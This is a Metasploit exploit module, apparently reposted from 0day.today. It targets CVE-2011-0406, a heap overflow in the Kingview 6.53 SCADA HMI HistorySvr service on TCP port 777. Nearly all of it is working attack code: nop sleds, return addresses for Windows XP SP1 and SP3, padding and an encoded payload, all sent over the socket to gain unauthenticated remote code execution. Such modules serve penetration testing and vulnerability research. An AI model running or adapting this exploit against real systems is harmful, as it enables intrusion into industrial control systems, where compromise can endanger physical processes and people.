Kingview 6.53 SCADA HMI HistorySvr Heap Overflow

##
# $Id$
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info={})
        super(update_info(info,
            'Name'        => "Kingview 6.53 SCADA HMI HistorySvr Heap Overflow",
            'Description' => %q{
                This module exploits a buffer overflow in Kingview 6.53.  By sending a specially
                crafted request to port 777 (HistorySvr.exe), a remote attacker may be able to
                gain arbitrary code execution without authentication.
            },
            'License'     => MSF_LICENSE,
            'Version'     => "$Revision$",
            'Author'      =>
                [
                    'Dillon Beresford',  #Found by Dillon
                    'rick2600',          #XP SP3 execution
                ],
            'References' =>
                [
                    ['CVE', '2011-0406'],
                    ['OSVDB', '70366'],
                    ['Bugtraq', '45727'],
                    ['URL', 'http://www.exploit-db.com/exploits/15957'],
                    ['URL', 'http://www.kb.cert.org/vuls/id/180119'],
                    ['URL', 'http://thesauceofutterpwnage.blogspot.com/2011/01/waking-up-sleeping-dragon.html'],
                ],
            'Payload'    =>
                {
                    'BadChars' => "\x00\x0d\x0a\xff"
                },
            'Platform' => 'win',
            'Targets'    =>
                [
                    [ 'Windows XP SP1', {'Ret' => 0x77ED73B4} ], #UnhandledExceptionFilter() in kernel32.dll
                    [ 'Windows XP SP3 EN', {'Ret' => 0x00A1FB84} ],
                ],
            'DisclosureDate' => "9/28/2010",
            'DefaultTarget' => 0))
 
            register_options( [ Opt::RPORT(777) ], self.class )
    end
 
    def exploit
        sploit = ''
        if target.name =~ /XP SP1/
 
            sploit << make_nops(32812)
            sploit << "\xEB\x10"
            sploit << "\x41"*6
            sploit << "\xAD\xBB\xC3\x77"
            sploit << [target.ret].pack('V')
            sploit << make_nops(8)
            sploit << payload.encoded
            sploit << "\x44"*(1000-payload.encoded.length)
            #this makes the app more crashy, need to investigatev
            #sploit << make_nops(1000-payload.encoded.length)
 
        elsif target.name =~ /XP SP3/
 
            sploit << make_nops(1024)
            sploit << payload.encoded
            sploit << "\x44"*(31752-payload.encoded.length)
            #rand_text_alpha_xxx() unfortunately makes it a bit unstable,
            #not ready to implement
            #sploit << rand_text_alpha_upper(32776-sploit.length)
            sploit << [target.ret].pack('V')
 
        end
 
        connect
 
        print_status("Trying target #{target.name}")
        sock.write(sploit)
 
        select(nil, nil, nil, 5)
        handler
        disconnect
 
    end
end



#  0day.today [2018-01-03]  #